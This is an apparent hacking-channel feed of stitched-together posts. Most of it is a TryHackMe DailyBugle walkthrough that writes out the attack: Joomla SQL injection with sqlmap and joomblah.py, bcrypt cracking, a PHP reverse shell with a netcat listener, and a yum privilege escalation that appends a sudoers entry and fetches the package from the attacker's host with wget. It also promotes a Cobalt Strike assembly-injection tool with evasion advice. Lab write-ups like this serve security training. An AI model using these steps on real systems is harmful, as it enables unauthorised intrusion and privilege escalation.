Hacking on Medium
Think like a scammer to protect your crypto assets

https://cdn-images-1.medium.com/max/750/0*1jvgYpNm6Y9FKTeK
Blockchain technology is revolutionizing the way we transact with each other, assets can be transferred faster, the identities of the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
DailyBugle TryHackMe Walkthrough

IntroductionDailyBugle is a CTF Linux box with difficulty rated as “medium” on the TryHackMe platform. The machine covers Joomla 3.7.0 SQL injection vulnerability and privilege escalation using yum. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Discovering administrator directories using robots.txt
* Enumerating site using joomscan
* Discovering SQL injection flaw in the current installation

Exploitation

* Exploiting Joomla v 3.7.0 via SQLi in com_fields
* Cracking Joomla administrator hashes using john
* Modifying template to input PHP reverse shell code

Privilege Escalation

* Discovering other user’s credentials in the configuration file
* Elevating privileges using yum

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -sV -sC 10.10.91.172 -Pn
https://blogger.googleusercontent.com/img/a/AVvXsEg6ewVbblANrSOJ8hJpqOiJm4vpL6GzTX_PRq55YoI4AIZYTyx3ai-iI8Lg9c4DxU6uvjNKW2BcZ7h5X8LUUhAOjKnW-J7B8ypRmTQ8_xEuP504BRRtLndcO-LeCHSt40QhPBE0UHG01OMyosqpwUuWv8g2ufSWHOjvh2SRHp6-_5vfNCiMv946fGuxfg=s16000 EnumerationWe discovered the existence of a robots file that has an administrator directory.

https://blogger.googleusercontent.com/img/a/AVvXsEhTrHsnJl3SbfG2uZwj87O4H_FBMMtsTt1XHofEGHgeAMI3iHwW9zpIjevF8BkDcrYp1gUtgLKA7u-rPL9YQ8exzrke6UOfF8iPpIoeIQ2ERJq_u1Uv0UCwfBk-zZD1R40HgH4u3K2ovMVcyq6WNXgYMmJAoR1C_Y4g8z0nzoH-MC_t4xsxkuDfGQaAWA=s16000

Upon opening this directory we found out that an instance of Joomla was running on this website.

https://blogger.googleusercontent.com/img/a/AVvXsEgJE6yRTBf0lnIJwen-LHSjAwWNHq2hzVvJ0Wdm7C7sVxzuW9bOzaW1f4iKWlm0kKxRptpi3nXY8M-sW-eL3Gq-8RJzuqjibMLnhTOZ2GkVLCUuDXfWwgR6vO5LNDvOBnuAp-RAKw4zSHc8kUU1g0YWM8Ogpcqnu794JCEOfFqoomHW0ZyfSipQh5wVbA=s16000

Thus, we ran joomscan on this website and discovered the version 3.7.0 being run
joomscan -u http://10.10.91.172
https://blogger.googleusercontent.com/img/a/AVvXsEhakG8ZlYC3f4V_0KcWD9fjPdTfNFbxH2cFRhPUVtc2c5hh4Q8C5O3v_z5ZShulgR3BbYcECDeEZW_zjVn3aVEPHxLt7CJoGp3G3mUA13k1eM2GLh2MQPRA4fFFjAwsQn6l0LBL7uAwzOxm39LTi5fRdh4mQPvofSFELIKCvIGGlv1HAG7QXuNrc4GjIw=s16000

Right away we looked out for public exploits for this installed instance using searchsploit and discovered that version 3.7.0 was vulnerable to SQLi via the com_fields parameter.
searchsploit joomla 3.7.0
searchsploit -m 42033
https://blogger.googleusercontent.com/img/a/AVvXsEiGbxsLeRA853OEWItjJv3GSfub_6eT9dw-6K2Jq1884y-v6Wi3QpiUQKTBddxNXuFf0tUCCgYFwXaRdus2yNYK4YH0Mqrqh_6dt9CoeyZK8ztf_07LKfNE2qOPh9UM1X6vbTpIb7SQu-IWQVk4lEmaj4VYqq1J5INNFDcXoBwk-Kj2DpTPDc_uYAIANw=s16000 ExploitationAs exploit number 42033 told us, this sql injection vulnerability could be exploited by the following command
sqlmap -u "http://10.17.32.212/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump-all -p list[fullordering]
https://blogger.googleusercontent.com/img/a/AVvXsEiHhXa3jtipy1CO29WxYaQh9NJTXjh51tyhQoFYnfhJPz5avmsFIxFDqyEZCw76A4PWE91vfdrSORYKPBc9oj0VFx5_SkwX6crcv77NUStEGZINXq382CeRWFUjqVGn0PoM9m4vR06RPFJ1x5gRTsB8lEM0PTiOzbHe3GEr7ujliHd2hUuyRf0tdatIFA=s16000

However, while running this scan, it was taking way too long and so, we looked out for another script called “Joomblah.py” which is a POC for this SQLi vulnerability in Joomla v3.7.0. So we downloaded this script, ran and found credentials!
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
python2.7 joomblah.py http://10.10.91.172
https://blogger.googleusercontent.com/img/a/AVvXsEhf14J_masBIM5DT-W3tIH1EcwA3Sso33B-lbAL4FDksHMNHS2-F-Jzk-7Oq8cH_k7QB-J4J229vNdIPlNJr8tE0JHcPFAv1JrL7NezBJIJKADnokCXwCTbW9hOuCD1Sb7PqKRwnWMGP47ftYY9LFWwC[...]

___________________________
@hacking_Attack
@Hacking_Video

g-tsRlKqjtj-4v9SRV5X2IfPvc7bG0dr1EpwA=s16000

We had discovered the hash but to know it’s type we googled it up and found it was
bcrypt”

https://blogger.googleusercontent.com/img/a/AVvXsEgaJB6Rf9Vz8mR7iUHycd35n59vPSWQHk3bBfZZwnNWqAHOoW1zJMF-o2lbdKhKvC5l4EXfQBeBXU_iOjJB8rdIjx8V1KdGxHtLn0PG-cxRLMXX3hW2tryxd-zUV8U2mZAYlkfRo1U24aHx0EkNqDcaVrWn8l5j4pEJi9O6GJcXhdxyQQW8kBPBWXcc2Q=s16000

Thus we saved this hash in a  file and used john to crack them
cat hash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEhZSojChgR2YopgwwcKsZFffnhQ05Tx5oXRb_4vzba84YYYngX5Vjmp6UuVLYvH8ZmlWGKCM_RMxFEADxNhCHebLj6q2So4v98ctLQRg-aiDEbSpEH_Y_rxYxpWzIVUO6LzzV_d0ywi1E10BwljU4VLfemOYX6Ub6PB9N77RyglSn0fi-gVECyUl6FH3A=s16000

We see we have received clear text credentials. We logged in to the admin panel using this and can see a dashboard now!

https://blogger.googleusercontent.com/img/a/AVvXsEjDRa74V7ML_dQBn8CUsI_59j-Hjf-qTfcY2cz99YEktxsHj0zKeMRZcYOX0n3kic3bXFvRUnnIIv9y03jB0-6SjCY6xEg2lt3979pbzRN3doBrvPHFdcxRyHpkYQlzG9PpQVNr7QzuZx1i6WjBYsca1wwql0VJvdmI9fXPzbZhmPE9KYMNYP2c46PGPA=s16000

Like with any other CMS, Joomla also has templates that are running on PHP, therefore, right away we copied the php-reverse-shell.php code in the template file and clicked on template preview. Before launching template preview we also set up a netcat listener
nc -nlvp 1234
https://blogger.googleusercontent.com/img/a/AVvXsEhYo8AYrFzQx1if380pLpJw-nZHdqsQUjDh4hbYFpezgZWVd1IeFXXPlMHDdXZJPBWkR5mFuItkIwOHvzFBsuJIdW8nvP8v5mYxSkx1kPUuzRCjWYz9ThuGDWGQg78nubo1y9VSr3PqPjqSCOtNG5l2nA9DrhsESWctttsj-InPe3kcXAdfspUyxXaseQ=s16000

On our listener we see a shell popped up! Privilege EscalationNow that we have a working TTY on the victim box, we started looking for ways to escalate privileges. We checked the sudoers file but nothing was found.

https://blogger.googleusercontent.com/img/a/AVvXsEhQhNauxqMqhOh-lReB8JfRSE_29lSPjpEcRT5NuIb4tgJz63Udy72t3m9eLjoZwQZre4gXJ0Gx1h1wsGdbYCMJgOkN73zHxI5zpezFTcRxJ2mOzzJwh1pbXrogjrexcC1Z8KkZFk7CiZxOg3-jJf1cLEvFFMgp7T8JuqC2zx9UBBvS0achn_PF5MVrJg=s16000

After a quick system check and looking at the website’s files, we found a configuration file that had credentials of a database. root user had the password: nv5uz9r3ZEDzVjNu
cd /var/www/html
cat configuration.php
https://blogger.googleusercontent.com/img/a/AVvXsEhWVBOUGBMybQTxYpnVYOVtNnZ670yrF7lhEn9G0P1MvE3E8pDQZoWlrj8tnKqZnPNztu-iiR_p_nSO2Tk9Fz-pKubTnAkvTPKxKZ5IC65cSjoS7pemulMAug2tR80l40ppDqXi5v65FNW-h8UQMe-4klpr9Rf1DB9JcgW06NhnEPJ_4zZLSLoJ89h3oA=s16000

Now, we tried to login into another existing user jjameson using this password and it worked! We immediately spawned a stable teletype using python. Thereafter, we looked into the sudoers file and found yum in the entries.
su jjameson
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
https://blogger.googleusercontent.com/img/a/AVvXsEgfq0kL9_AtVTpJBemPkXKno-nAQBW_uzyKWH9WIw6Zsc-AgTsPAuvZTSch5lyLVkQRyZbBy3IuUW81K59bBiHGdL9cHznA_7AgEuCVy3SWVTt_OKJOvBbxuNXzTDQ9Sftt0Z9lExL1LqtZSNUh3QhacOSU61t-q4KqYXh6Pjt_6YZaAsPxo-F2PjSxug=s16000

Referring to gtfobins post here we can escalate our privileges by creating our custom RPM executable. For this we need rpm, fpm to be installed first. Thereafter, we’ll copy a command into a shell script. This echo command simply adds my user jjameson into the sudoers file so that any command can be run as root. This would be our payload. Then we create an rpm package using fpm package.
apt install rpm
gem install fpm
echo 'echo "jjameson ALL=(root) NOPASSWD:ALL" >> /etc/sudoers' > my.sh
fpm -n root -s dir -t rpm -a all --before-install my.sh .
python3 -m http.server 80
https://blogger.googleusercontent.com/img/a/AVvXsEiL9qM-HsFZBEXvnXw1_IuGYi8HL659Z7T-g69BAniicCBToAgl_mR5Xy8MR2Hjv3gUO68H3z0HCQtcJH00h0OB2uRdpudQSTb6ag3-MKnilV-7wJI-lIk8q4-3RFXGuN6EsCnXnYv2DZfLwcTOyrb43HzD6guOkRijMQDs6w0bWstKy65jV[...]

___________________________
@hacking_Attack
@Hacking_Video

I_XaVov4g=s16000

Now all that’s left to do was to copy this file into /tmp directory on the victim’s box.
cd /tmp
wget http://10.17.32.212/root-1.0-1.noarch.rpm
https://blogger.googleusercontent.com/img/a/AVvXsEjdicIbEno9Huh1TnK16s0bGoJQvBsBVbtRS-oorM-vvVtqoTC4Hx0ux3eTzz7At6gSRMDw7Dh3hytmFNyewITTESBrIJEazMPmEpUZRDzCK-2a-kr7sarNsSOa5-G6BX_LYtAc4HrlMVk38Ux-g9zhFipQDoKeQL34vYHx9zI8BfZEDHzjkb_2u1pO8A=s16000

So, we downloaded it and ran using yum localinstall command. It ran successfully! We ran bash shell as sudo and as expected jjameson (my user) ran it as root and thus privileges were escalated! Finally, we read the congratulatory flag!
sudo yum localinstall -y root-1.0-1.noarch.rpm
sudo bash
cd /root
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjoAuqKw-p1UUNePP5om6dWuQRvikTWdFajQlw_oHzSYTYf1ZHlYKTRQqa9LToBB6yMNJCmLVrmuDhwh7KysncbGwjDE65LZFOwApAN8-Mc_l1x_oSVwedQHTz7pc5tQQz37RDkFqFif6VYeXPr0XXF2wgaKePejfOn42olYVVAVzNc4XDO-plHnQ6cBg=s16000

Hence, this is how we root this box. Kudos to the author on creating a beginner-friendly box that focuses on real life and commonly found vulnerabilities. Thanks for reading!

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post DailyBugle TryHackMe Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Recommend a book better than "Hacking - the Art of Exploitation"?

I'm trying to read the second edition but frankly it's pretty hard to extract any worthwhile information among all the anecdotes, jokes, basic info and padding (the margin sizes are ridiculous). It's getting on my nerves that the publisher and author buried what might be very useful info in all this padding. So can anyone recommend a book with similar (ideally more up to date) information that might be a bit more condensed?

submitted by /u/chrisname
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How passionate are you about ethical hacking? If so, why?Or do you do this only for the money?

I plan to learn ethical hacking/security but first I am learning networks( it's really interesting so far) then programming, Linux etc. I have no idea if I will really like it and I wouldn't do it for the money, I already have a good passive income.I am curious to know if you're passionate about this trade, I might learn a thing or two of what awaits me.

submitted by /u/digitalwriternow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Kevin Mitnick cracks password - How?

This video here. What did he do? Didn't he already know and typ the password and that's why it went so fast? Also why is he using macOS and not Linux? Linux is supposed to be more secure? Are passphrases really that much better?

submitted by /u/Forxius
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HackThisSite down?

Hey guys, anyone having trouble getting on HackThisSite.

I'm just getting 7 "error, an error has occurred. Please contact a developer"

I've had a quick look around and can't see any mentions.

submitted by /u/f1fthsun
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Domain Persistence – Machine Account

https://external-preview.redd.it/-nPCkgEbR4wKDt12s5JyUcc1Hbj_bhOw2ZrwfTw0GNA.jpg?width=640&crop=smart&auto=webp&s=020fbc0c9c5f0213da162caa9d1db460e54abcdb submitted by /u/netbiosX
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Inject-Assembly - Inject .NET Assemblies Into An Existing Process
http://www.kitploit.com/2022/01/inject-assembly-inject-net-assemblies.html

___________________________
@hacking_Attack
@Hacking_Video

This tool is an alternative to traditional fork and run execution for Cobalt Strike. The loader can be injected into any process, including the current Beacon. Long-running assemblies (https://www.kitploit.com/search/label/Assemblies) will continue to run and send output back to the Beacon, similar to the behavior of execute-assembly.
There are two components of inject-assembly: BOF initializer: A small program responsible for injecting the assembly (https://www.kitploit.com/search/label/Assembly) loader into a remote process with any arguments passed. It uses BeaconInjectProcess to perform the injection, meaning this behavior can be customized in a Malleable C2 profile or with process injection (https://www.kitploit.com/search/label/Injection) BOFs (as of version 4.5). PIC assembly loader: The bulk of the project. The loader will initialize the .NET runtime, load the provided assembly, and execute the assembly. The loader will create a new AppDomain in the target process so that the loaded assembly can be totally unloaded when execution is complete. Communication between the remote process and Beacon occurs through a named pipe. The Aggressor (https://www.kitploit.com/search/label/Aggressor) script generates a pipe name and then passes it to the BOF initializer. Notable Features Patches Environment.Exit() to prevent the remote process from exiting. .NET assembly header stomping (MZ bytes, e_lfanew, DOS Header, Rich Text, PE Header). Random pipe name generation based on SourcePoint (https://github.com/Tylous/SourcePoint). No blocking of the Beacon, even if the assembly is loaded into the current process. Usage Download (https://github.com/kyleavery/inject-assembly/releases) and load the inject-assembly.cna Aggressor script into Cobalt Strike. You can then execute assemblies using the following command: inject-assembly pid assembly [args...]
Specify 0 as the PID to execute in the current Beacon process. It is recommended to use another tool, like FindObjects-BOF (https://github.com/outflanknl/FindObjects-BOF), to locate a process that already loads the .NET runtime, but this is not a requirement for inject-assembly to function. Warnings Currently only supports x64 remote processes. There are several checks throughout the program to reduce the likelihood of crashing the remote process, but it could still happen. The default Cobalt Strike (https://www.kitploit.com/search/label/Cobalt%20Strike) process injection may get you caught. Consider a custom injection BOF or UDRL IAT hook. Some assemblies rely on Environment.Exit() to finish executing. This will prevent the loader's cleanup phase from occurring, but you can still disconnect the named pipe using jobkill. Uncomment lines 3 or 4 of scmain.c to enable error or verbose modes, respectively. These are disabled by default to reduce the shellcode size. References This project would not have been possible without the following projects: CLR-related definitions and implementation - https://github.com/TheWover/donut Beacon job interface and project structure - https://github.com/SecIdiot/netntlm (https://github.com/SolomonSklash/netntlm) Other features and inspiration were taken from the following resources: https://github.com/med0x2e/ExecuteAssembly https://github.com/anthemtotheego/InlineExecute-Assembly https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies

Download Inject-Assembly (https://github.com/kyleavery/inject-assembly)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Mastering the Art of Cloud Tagging Using Data Science

Cloud tagging, the process of labeling cloud assets by certain attributes or operational values, can unlock behavioral insights to optimize and automate cyber asset management at scale.

Notetaking Question
https://www.reddit.com/r/Pentesting/comments/s677i5/notetaking_question/

Based off your experience or what you've seen at employers, with colleagues, etc. how do you organize your notes? I started using Obsidian and have been pondering the following question: How I should organize my notes? I've been absorbing as much practical knowledge, labs, content as possible and should I be doing a hierarchical or zettlekasten method of storing these notes or should I be doing a mix? I do utilize linking the pages together and using tags in Obsidian. And to add to this, probably what numerous users have asked....should I be using a different note taking app as well, I was split between Notion and Obsidian before I started Obsidian. I'd like some input and help on how you organize notes. And I suppose I should mention, when I get a pentesting job, I'll probably utilize the company recommended software or something separate for actual engagements so this post is simply for personal note taking. Thanks for taking the time to help, anything helps! Thanks! submitted by /u/kevinj895 (https://www.reddit.com/user/kevinj895)
[link] (https://www.reddit.com/r/Pentesting/comments/s677i5/notetaking_question/) [comments] (https://www.reddit.com/r/Pentesting/comments/s677i5/notetaking_question/)

___________________________
@hacking_Attack
@Hacking_Video

PORTSWIGGER WEB SECURITY - SQL INJECTION LAB ÇÖZÜMLERİ
https://ariarif.medium.com/portswigger-web-security-sql-injection-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-556a81c53dd5?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

PortSwigger Web Security, web güvenliği zafiyetlerini barındıran, Owasp top 10 zafiyetlerinin yer aldığı laboratuvarlardan oluşan bir web…Continue reading on Medium » (https://ariarif.medium.com/portswigger-web-security-sql-injection-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-556a81c53dd5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video